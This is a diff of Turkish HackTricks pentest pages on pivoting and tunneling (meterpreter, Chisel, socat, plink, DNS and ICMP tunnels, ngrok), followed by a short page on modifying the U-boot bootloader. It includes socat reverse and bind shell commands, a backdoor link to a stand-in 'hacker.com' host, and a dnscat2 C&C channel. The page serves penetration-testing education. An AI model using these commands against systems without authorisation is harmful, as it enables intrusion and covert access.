@ -122,14 +126,12 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Yerel port --> Kompromize edilmiş ana makine (aktif oturum) --> Üçüncü\_kutu:Port
Yerel port --> Ele geçirilmiş ana bilgisayar (aktif oturum) --> Üçüncü\_kutusu:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucuları, istemci isteklerini alır ve hedef sunuculara iletmek için bağlantıları yönlendirir. Bu, ağ trafiğini gizlemek ve coğrafi kısıtlamaları aşmak için kullanılabilir.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -137,7 +139,7 @@ use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Başka bir yöntem:
Başka bir yol:
```bash
background #meterpreter session
use post/multi/manage/autoroute
@ -154,7 +156,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
Takım sunucusunda dinleyen bir port açın ve **trafiği beacon üzerinden yönlendirmek için kullanılabilen tüm arayüzlerde dinlemeye başlayın**.
Tüm arayüzlerde dinleyen bir port açın, bu port **trafiği beacon üzerinden yönlendirmek için** kullanılabilir.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -165,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
Bu durumda, **liman, işaretçi ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna ve oradan belirtilen ana bilgisayara:limana gönderilir.
Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
### rPort2Port yerel
To note:
- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Trafiği Takım Sunucusuna tünellemek için tasarlanmıştır**.
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil.
- **Yüksek portlarda ters port yönlendirmeleri oluşturmak için yönetici ayrıcalıkları gerekmez**.
### rPort2Port local
{% hint style="warning" %}
Bu durumda, **liman Beacon ana bilgisayarında açılır**, Team Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Sunucusuna değil) ve oradan belirtilen ana bilgisayara:limana yönlendirilir.
Bu durumda, **port beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Takım Sunucusuna değil) ve oradan belirtilen host:port'a iletilir.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -184,14 +192,14 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Web dosya tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp
Bir web dosyası tüneli yüklemeniz gerekiyor: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)ın yayınlar sayfasından indirebilirsiniz.\
İstemci ve sunucu için **aynı sürümü kullanmanız gerekmektedir**
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresinden indirin\
**İstemci ve sunucu için aynı sürümü kullanmalısınız**
### socks
```bash
@ -202,7 +210,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Port Yönlendirme
### Port yönlendirme
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -211,8 +219,8 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Ters tünel. Tünel kurban tarafından başlatılır.\
127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur.
Ters tünel. Tünel, kurban tarafından başlatılır.\
127.0.0.1:1080 adresinde bir socks4 proxy oluşturulur.
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
@ -220,7 +228,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
**NTLM proxy** üzerinden pivot yapın.
Pivot through **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -232,27 +240,25 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bağlama kabuğu
### Bağlı shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### Ters Kabuk
### Ters kabuk
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### Socks üzerinden Port2Port
### Port2Port üzerinden socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### SSL üzerinden Meterpreter kullanımı
### Meterpreter üzerinden SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -262,7 +268,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Kurbanın konsolunda son yerine bu satırı çalıştırarak **kimlik doğrulaması yapılmamış bir proxy**'yi atlayabilirsiniz:
Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son satırın yerine bu satırı çalıştırarak atlayabilirsiniz:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -286,9 +292,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Uzaktan Port2Port
### Remote Port2Port
Yerel SSH portunu (22) saldırganın ana bilgisayarının 443 portuna bağlayın
Yerel SSH portunu (22) saldırgan ana bilgisayarın 443 portuna bağlayın
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -296,9 +302,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisine çok benzer).
Bu, bir konsol PuTTY versiyonuna benzer (seçenekler, bir ssh istemcisine çok benzer).
Bu ikili, kurban üzerinde yürütüleceği için ve bir ssh istemcisi olduğu için, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamızı açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilir bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için:
Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -307,7 +313,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
### Port2Port
Herhangi bir bağlantı noktası için yerel yönetici olmanız gerekmektedir.
Herhangi bir port için yerel yönetici olmanız gerekir.
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -319,39 +325,39 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
Sisteme **RDP erişimine** sahip olmanız gerekmektedir.\
İndirme:
**Sisteme RDP erişiminiz olmalıdır.**\
İndirin:
1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **paketleri RDP bağlantısı üzerinden tünelleme**den sorumludur.
2. [Proxifier Taşınabilir İkili](https://www.proxifier.com/download/#win-tab)
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dinamik Sanal Kanallar` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
İstemci bilgisayarınıza şu şekilde **`SocksOverRDP-Plugin.dll`** yükleyin:
İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz** ve **SocksOverRDP eklentisinin etkinleştirildiğine** dair bir **uyarı** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**.
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** ve **127.0.0.1:1080** adresinde **dinleyeceği** ile ilgili bir **istem** alacağız.
**RDP** üzerinden **bağlanın** ve **hedef makinede** `SocksOverRDP-Server.exe` ikili dosyasını **yükleyip çalıştırın**:
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Şimdi, makinenizde (saldırgan) 1080 numaralı portun dinlemede olduğunu doğrulayın:
Şimdi, makinenizde (saldırgan) 1080 numaralı portun dinlendiğini doğrulayın:
```
netstat -antb | findstr 1080
```
Şimdi o trafiği o bağlantı noktası üzerinden vekillemek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.**
Şimdi [**Proxifier**](https://www.proxifier.com/) **trafikleri o port üzerinden proxylemek için kullanabilirsiniz.**
## Windows GUI Uygulamalarını Vekil Yapma
## Windows GUI Uygulamalarını Proxify Etme
Windows GUI uygulamalarını bir proxy üzerinden gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\
**Profil -> Vekil Sunucular** bölümüne SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\
**Profil -> Vekillendirme Kuralları** bölümüne vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin.
Windows GUI uygulamalarının bir proxy üzerinden gezinmesini sağlamak için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\
**Profile -> Proxy Servers** kısmına SOCKS sunucusunun IP'sini ve portunu ekleyin.\
**Profile -> Proxification Rules** kısmına proxify etmek istediğiniz programın adını ve proxify etmek istediğiniz IP'lere olan bağlantıları ekleyin.
## NTLM vekil atlatma
## NTLM proxy atlatma
Önceden bahsedilen araç: **Rpivot**\
**OpenVPN** ayrıca bunu atlayabilir, yapılandırma dosyasında şu seçenekleri ayarlayarak:
Daha önce bahsedilen araç: **Rpivot**\
**OpenVPN** de bunu atlatabilir, yapılandırma dosyasında bu seçenekleri ayarlayarak:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -359,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Bu, bir proxy'e kimlik doğrulaması yapar ve belirttiğiniz harici hizmete yönlendirilen yerel bir bağlantı noktası bağlar. Daha sonra, bu bağlantı noktası aracılığıyla istediğiniz aracı kullanabilirsiniz.\
Örneğin, 443 numaralı bağlantı noktasını yönlendirir.
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
Örneğin, 443 portunu yönlendirin.
```
Username Alice
Password P@ssw0rd
@ -368,26 +374,26 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız. Saldırgan port 2222 üzerinden buna bağlanabilirsiniz.\
Ayrıca localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinleyebilir.
Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
## YARP
Microsoft tarafından oluşturulan bir ters proxy. Burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tünellemesi
## DNS Tunneling
### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Her iki sistemde de kök erişimi gereklidir, tun adaptörleri oluşturmak ve DNS sorgularını kullanarak aralarında veri tünellemek için.
Her iki sistemde de tun adaptörleri oluşturmak ve DNS sorguları kullanarak aralarında veri tünellemek için root gereklidir.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Tünel çok yavaş olacak. Bu tünel aracılığıyla sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz:
Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -395,7 +401,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Buradan indirin**](https://github.com/iagox86/dnscat2)**.**
DNS üzerinden bir C\&C kanalı oluşturur. Kök izinlerine ihtiyaç duymaz.
DNS üzerinden bir C\&C kanalı kurar. Root ayrıcalıklarına ihtiyaç duymaz.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -404,9 +410,9 @@ victim> ./dnscat2 tunneldomain.com
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **PowerShell'de**
#### **PowerShell'da**
PowerShell'de bir dnscat2 istemcisini çalıştırmak için [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kullanabilirsiniz:
PowerShell'da bir dnscat2 istemcisi çalıştırmak için [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kullanabilirsiniz:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
@ -416,9 +422,9 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Proxychains DNS'ini Değiştirme
#### Proxychains DNS'ini Değiştir
Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında** iseniz, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz.
Proxychains `gethostbyname` libc çağrısını keser ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayılan** olarak proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (hardcoded). Bunu değiştirmek için dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. **Windows ortamında** iseniz, **domain controller**'ın IP'sini ayarlayabilirsiniz.
## Go'da Tüneller
@ -431,7 +437,7 @@ Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini s
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Her iki sistemde de kök erişimi gereklidir, tün adaptörleri oluşturmak ve ICMP echo isteklerini kullanarak aralarında veri tünelleme yapmak için.
Her iki sistemde de tun adaptörleri oluşturmak ve ICMP echo istekleri kullanarak veri tünellemek için root gereklidir.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -455,8 +461,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) bir komut satırında internete çözümleri açığa çıkarmak için bir araçtır.**
*ığa çıkarma URI'leri şuna benzer:* **UID.ngrok.io**
**[ngrok](https://ngrok.com/) çözümleri tek bir komut satırıyla internete açmak için bir araçtır.**
*Maruz kalma URI'leri şunlar gibidir:* **UID.ngrok.io**
### Kurulum
@ -468,13 +474,13 @@ chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
### Temel kullanımlar
### Temel Kullanımlar
**Belgeler:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
**Dokümantasyon:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*Mevcut ise kimlik doğrulama ve TLS eklemek de mümkündür.*
*Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür.*
#### TCP Tüneli
#### TCP Tünelleme
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
@ -482,15 +488,17 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### HTTP ile dosyalarınığa çıkarılması
#### HTTP ile dosyalarıığa çıkarma
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### HTTP çağrılarını dinleme
*XSS, SSRF, SSTI için kullanışlıdır...*
Doğrudan stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) erişilebilir.
*XSS, SSRF, SSTI için faydalıdır...*
stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) adresinden doğrudan.
#### Dahili HTTP hizmetini tünelleme
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -501,7 +509,7 @@ Doğrudan stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.
3 tünel açar:
- 2 TCP
- 1 HTTP, /tmp/httpbin/ dizininden statik dosyaların sunumu ile
- 1 HTTP, /tmp/httpbin/ dizininden statik dosya sergilemesiyle
```yaml
tunnels:
mytcp:
@ -514,7 +522,7 @@ httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## Diğer kontrol etmek için araçlar
## Diğer kontrol edilecek araçlar
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
@ -527,14 +535,17 @@ addr: file:///tmp/httpbin/
***
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,24 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
Cihaz başlangıç yapılandırmalarını ve U-boot gibi bootloader'ları değiştirmek için aşağıdaki adımlar önerilir:
Aşağıdaki adımlar, U-boot gibi cihaz başlangıç yapılandırmalarını ve bootloader'ları değiştirmek için önerilmektedir:
1. **Bootloader'ın Yorumlayıcı Kabuğuna Erişim**:
- Önyükleme sırasında, bootloader'ın yorumlayıcı kabuğuna erişmek için "0", boşluk veya diğer belirlenmiş "sihirli kodları" basın.
1. **Bootloader'ın Yorumlayıcı Shell'ine Erişim**:
- Başlangıç sırasında "0", boşluk veya diğer tanımlanmış "sihirli kodlar"ı basarak bootloader'ın yorumlayıcı shell'ine erişin.
2. **Boot Argümanlarını Değiştirme**:
- Aşağıdaki komutları yürütün ve '`init=/bin/sh`'i önyükleme argümanlarına ekleyin, bir kabuk komutunun yürütülmesine izin vererek:
2. **Boot Argümanlarını Değiştirin**:
- Shell komutunun çalıştırılmasına izin vermek için boot argümanlarına '`init=/bin/sh`' eklemek için aşağıdaki komutları çalıştırın:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -26,31 +28,48 @@ Cihaz başlangıç yapılandırmalarını ve U-boot gibi bootloader'ları deği
#boot
%%%
3. **TFTP Sunucusu Kurulumu**:
- Yerel bir ağ üzerinden görüntüleri yüklemek için bir TFTP sunucusunu yapılandırın:
3. **TFTP Sunucusu Kurun**:
- Yerel bir ağ üzerinden görüntüleri yüklemek için bir TFTP sunucusu yapılandırın:
%%%
#setenv ipaddr 192.168.2.2 #cihazın yerel IP'si
#setenv serverip 192.168.2.1 #TFTP sunucusu IP'si
#setenv serverip 192.168.2.1 #TFTP sunucu IP'si
#saveenv
#reset
#ping 192.168.2.1 #ağ erişimini kontrol et
#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyayı yüklemek için adresi alır ve TFTP sunucusundaki görüntünün dosya adını alır
#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyanın yükleneceği adresi ve TFTP sunucusundaki görüntü dosyasının adını alır
%%%
4. **`ubootwrite.py`'yi Kullanma**:
- Kök erişim elde etmek için U-boot görüntüsünü yazmak ve değiştirilmiş bir firmware göndermek için `ubootwrite.py`'yi kullanın.
4. **`ubootwrite.py` Kullanımı**:
- Root erişimi kazanmak için U-boot görüntüsünü yazmak ve değiştirilmiş bir firmware yüklemek için `ubootwrite.py` kullanın.
5. **Hata Ayıklama Özelliklerini Kontrol Etme**:
- Ayrıntılı günlükleme, keyfi çekirdek yükleme veya güvenilmeyen kaynaklardan önyükleme gibi hata ayıklama özelliklerinin etkin olup olmadığını doğrulayın.
5. **Debug Özelliklerini Kontrol Edin**:
- Ayrıntılı günlükleme, rastgele çekirdek yükleme veya güvenilmeyen kaynaklardan başlatma gibi debug özelliklerinin etkin olup olmadığını doğrulayın.
6. **Dikkatli Donanım Müdahalesi**:
- Cihazın önyükleme sırasında bir pini toprağa bağlamak ve SPI veya NAND flaş çipleriyle etkileşime geçerken dikkatli olun, özellikle çekirdek sıkıştırılmadan önce. Pinleri kısaltmadan önce NAND flaş çipinin veri sayfasına danışın.
- Cihazın başlatma sırası sırasında bir pini topraklamak ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısa devre yapmadan önce NAND flash yongasının veri sayfasını kontrol edin.
7. **Sahte DHCP Sunucusu Yapılandırma**:
